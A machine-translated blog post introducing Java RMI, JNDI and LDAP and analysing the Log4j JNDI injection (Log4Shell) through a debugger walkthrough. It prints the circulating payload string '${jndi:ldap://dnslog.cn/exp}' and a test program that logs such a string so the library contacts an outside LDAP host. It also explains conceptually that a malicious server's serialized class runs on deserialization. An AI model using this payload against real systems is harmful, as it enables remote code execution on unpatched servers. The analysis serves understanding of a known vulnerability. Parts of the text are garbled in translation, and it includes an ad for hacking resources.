RMI, JNDI, LDAP introduction + log4j vulnerability analysis

introduce

This article mainly introduces Java's RMI, JNDI, and LDAP, and will analyze the jndi injection principle of log4j in detail later.

What is RMI

The full name of RMI is Remote Method Invocatioon, which is remote method invocation. It looks very similar to RPC (Remote Procedure Call).
In fact, they are very similar. RMI is a JAVA customized version of RPC.

A complete RMI call process requires the following parts

  1. registration service
  2. RMIServer
  3. client
  4. interface
  5. A class that implements the interface

The execution process is as follows

  1. First start the registration service
  2. RMI creates an object of the class implementing the interface and registers it in the registration service
  3. The client calls the method in the interface from the registered service

Let's take an example first, not much to say, it's all in the code (found on the Internet) to
register the service code

[→Follow me for all resources, and reply to "data" by private message to get ←]
1. Network security learning route
2. E-books (white hat)
3. Internal video of a big security company4,
100 src documents5
, common security interview questions6
,the classic topics of the ctf competition
7, a full set of toolkits
8, emergency response notes

The interface and the class that implements the interface
[External link image dumping...(img-0YGvrLnk-1646029690356)]
RMI service

client

The operation process is as follows
Sequence diagrams for citing individuals

This figure corresponds to the code above

Client -> Client
存根(stub) -> Client代码中的remoteHello对象(是个代理类,在通过它调用方法时,会将参数,函数名等信息打包,发送给骨架,存根对象包含了RMIServer的端口和ip)
rmiregistry -> RegServeer
Server -> RMI
骨架(Skeleton) -> 也是个代理类,监听4000端口,用于和存根通信,收到存根的请求后,去调用RemoteImp对应的方法,然后将结果返回给存根
ServiceImpl -> RemoteImpl

So, taking the above code as an example, interpret the execution flow

Start the Register service first (default port 1099)

RMI connects to the Register service and sends the Name and stub to the Register service as shown in the
figure

The Client connects to the Register service, obtains the corresponding stub according to the Name, and then calls sayHello("World") through the stub. Because the stub is a proxy class, it can obtain information such as function name, parameter, parameter type, etc. The stub packs this information and sends it to the client. give the skeleton

The skeleton of RMI is also a proxy class. It calls remoteHello.sayHello("World") through reflection, gets the return value Hello, World, and sends it to the stub

The client's stub will return the return value obtained from the skeleton, so that the client side looks as if it is calling a local method

In addition, in the above steps, the data transmitted through the network is in the form of serialized objects, and the protocol used is the JRMP (Java Remote Method Protocol) protocol. It is very important! ! !

The above code can also be written in a simplified version
. As shown in the server side, when the registry is started, the stub and the name are set. The

client connects to the registry through the url to obtain the stub.

What is JNDI

The full name of JNDI is Java Naming and Directory Interfac, which translates to the java naming and directory interface. In fact, Naming here refers to the naming service, and Directory refers to the directory service.

naming service

That is, by naming the resource, it is more convenient to call the resource next time (so the Naming here must be unique). For example, the registration service in the above example belongs to the naming service that binds Hello to the RemoteImpl object. When using it, you can get the RemoteImpl stub directly through the name Hello.
A naming service like the list below binds a resource for each name.

directory service

Similar to the naming service, but more complex, it can be understood as a list, there are various resources on the list, and each resource has its own list. For example, if there are 10 computers on the list, if I select one of Xiao Li's computer, I will get the next list, which lists the resources on Xiao Li's computer such as: network neighbors, printers, C drive, etc., I opened Network Neighborhood and got another list.

According to the above example, it can be found that this directory service is very similar to the directory on the computer. When you open a folder, you can see the next-level directory, and then open another folder and you can see the next-level directory.
The well-known dns is the directory service, so why does it belong to the directory service, not the naming service?

DNS service

Although in our opinion, returning ip through the domain name is especially like a naming service, but understanding the dns resolution process will know the reason.
As shown in the figure, when querying dns, the local dns server requests the dns root server, then requests the .com server, and then requests the 163.com server, and finally obtains the address.

The root server directory contains the addresses of all top-level domain names. For example, com, cn and other
com servers contain baidu, aliyun, tencent, etc. The
baidu.com server directory contains vip, mail, oa, etc.
For example, to access oa.baidu.com, go first Access the root server -> com server -> baidu server -> get the oa server address

As

shown in the directory, it is parsed layer by layer until it resolves to the ip of the desired domain name.
If a naming service is used, how to implement DNS resolution?
As
shown in the picture [External link image is being dumped...(img-U2xF21tC-1646029690393)]
Each domain name corresponds to an ip and is stored in a table. If there are many companies like Baidu, and Baidu has thousands of subdomains, Each subdomain has hundreds of subdomains, so the number of domain names will increase exponentially, and this table will be super huge. As a result, each query takes a long time, and the global domain name is completed by this server. This server has the sole power, and it has the final say in the domain name resolution of the global server.

These dns servers form a distributed directory service, which is used to query the IP of the domain name, which is particularly efficient.

tree structure

From the above descriptions and introductions, you should have a general understanding of the directory service. This directory structure is called a tree structure, as shown in the figure.

Directory Services Summary

The directory service uses a tree structure. The advantage of this structure is that the query efficiency is very high. Therefore, one of the advantages of the directory service is that the query efficiency is very high. The disadvantage is that it is slow to write data. It can be a database with an attribute structure, or the above kind of distributed directory service

What is JNDI

JNDI is the Java Naming and Directory Interface (Java Naming and Directory Interface), which is one of the important specifications in the J2EE specification.
J2EE specifies that the J2EE container must implement the JNDI interface. In actual use, configure JNDI parameters in the J2EE container. This container is the data source. When in use, you can call
a mysql configuration file directly through the data source name. An example of a mysql configuration file is shown in the figure, the data source name is MySqlDS

<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
    <jndi-name>MySqlDS</jndi-name>
    <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
    <driver-class>com.mysql.jdbc.Driver</driver-class>
    <user-name>root</user-name>
    <password>rootpassword</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
    <metadata>
       <type-mapping>mySQL</type-mapping>
    </metadata>
</local-tx-datasource>
</datasources>

when in use

Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
/* 使用conn进行数据库SQL操作 */
......
c.close();

Through the unified interface of JNDI, you only need to configure the data source. When using it, you only need to call the lookup method and query the name of the data source to obtain the data source. When using the database, you do not need to consider the driving, connection, and invocation of different databases. If you want to change a database, you only need to modify the data source configuration file.

What is LDAP

LDAP (Light Directory Access Portocol) is a cross-platform lightweight directory access protocol based on the X.500 standard.

LDAP is a protocol, a lightweight directory access protocol, indicating that it is implemented through a tree structure.
The central concept of LDAP is the information model, which deals with the kind and structure of information stored in the directory. The information model revolves around an entry (that is, a Node of the tree), which is a collection of attributes with types and values. Entries are organized in a tree-like structure called a directory information tree. The entries are organized around real-world concepts, organizations, people, and objects. The attribute type is associated with a syntax that defines the allowed information. A single property can have multiple values ​​in it. Distinguished names in LDAP are read from the bottom up. The left part is called the relative distinguished name, and the right part is the base distinguished name.

The LDAP protocol is mainly used for single sign-on SSO (Single Sign on). A typical case is:
the school's single sign-on system, only need to log in here, the educational affairs, WebVPN, campus network and other systems can be directly accessed, no need but Login required (we learned that before using single sign-on, each system had to log in separately)

LDAP can be used for SSO, but not equal to SSO, this protocol can also be used to unify the authentication methods of various systems, store the organizational structure of the enterprise, employee information (because it uses a tree structure, and the query efficiency is high) and so on. As shown

Log4j Vulnerability Analysis

The log4j exp ${jndi:ldap://dnslog.cn/exp} circulating on the Internet contains the
following loopholes in jndi and ldap and analyzes the principle

environment

Create a Maven project and add dependencies

<dependencies>
    <dependency>
        <groupId>log4j</groupId>
        <artifactId>log4j</artifactId>
        <version>1.2.17</version>
    </dependency>
</dependencies>

Add a configuration file in the resources directory
File name: log4j.properties

### 设置###
log4j.rootLogger = debug,stdout,D,E

### 输出信息到控制抬 ###
log4j.appender.stdout = org.apache.log4j.ConsoleAppender
log4j.appender.stdout.Target = System.out
log4j.appender.stdout.layout = org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n

### 输出DEBUG 级别以上的日志到=/home/duqi/logs/debug.log ###
log4j.appender.D = org.apache.log4j.DailyRollingFileAppender
log4j.appender.D.File = /home/duqi/logs/debug.log
log4j.appender.D.Append = true
log4j.appender.D.Threshold = DEBUG 
log4j.appender.D.layout = org.apache.log4j.PatternLayout
log4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n

### 输出ERROR 级别以上的日志到=/home/admin/logs/error.log ###
log4j.appender.E = org.apache.log4j.DailyRollingFileAppender
log4j.appender.E.File =/home/admin/logs/error.log 
log4j.appender.E.Append = true
log4j.appender.E.Threshold = ERROR 
log4j.appender.E.layout = org.apache.log4j.PatternLayout
log4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n

Create the Main class

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class aa {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        System.out.println(1);
        logger.error("${jndi:ldap://xxx.xxx/exp}");
        System.out.println(2);
    }
}

Run successfully and receive dns request

Debug analysis

First follow up the error

First check the log level to determine whether it is logged . There are too many calls following

logMessage


, so I don’t take screenshots one by one. The
call stack is as

shown in

the

figure. javax.naming.Context type

After learning about rmi, ldap, and jndi at the beginning, you should know that you are requesting resources through ldap. Since the objects transmitted in this process are all serialized data, the client will deserialize after getting the resources,
so you only need to build the server. , the serialized malicious class will be returned after receiving the client request, which will cause the malicious code to be executed when the client deserializes

Summarize

According to the call stack analysis as follows

Since the output log format is

21:51:13.846 [main] ERROR Main - Hello

This formatting process is completed in the toSerializable function.
Through 11 formatters, information such as time 21:51:13.846, function name main, log level ERROR, etc. are obtained respectively, and spliced ​​together

The problem lies in PatternFormatter, one of these 11 formatters, which is responsible for parsing the message (that is, Hello in the example log above)

As shown in the figure, in the format method, it intends to get the value of xxx first, then the value of {xxx}, and then theThe value of x x x , and then replace {xxx} with the obtained value (how to parse, how to replace, not to analyze) As shown in the

figure, in addition to jndi, xxx here can also be date, java, marker, ctx , lower, upper, main, jvmrunargs, sys, env, log4j, to be mined

. Before the lookup of jndi, the lookup object of jndi was obtained from strLookupMap. As shown in the

figure, each key corresponds to a lookup

object. The functions of these lookup objects, It has been explained on the official website. For example:lower : Hello will be parsed as hello, {lower:Hello} will be parsed as hello,lower:Hello will be parsed as hello , {upper: Hello } will be parsed as HELLO , but no one has ever read the document, until today, this jndi injection was discovered .

So the root of the problem lies in PatternFormatter. All libraries that use PatternFormatter may cause jndi injection. I checked PatternFormatter on the Internet, and there is a POCO library used, C++.

Guess you like

Origin blog.csdn.net/HBohan/article/details/123181812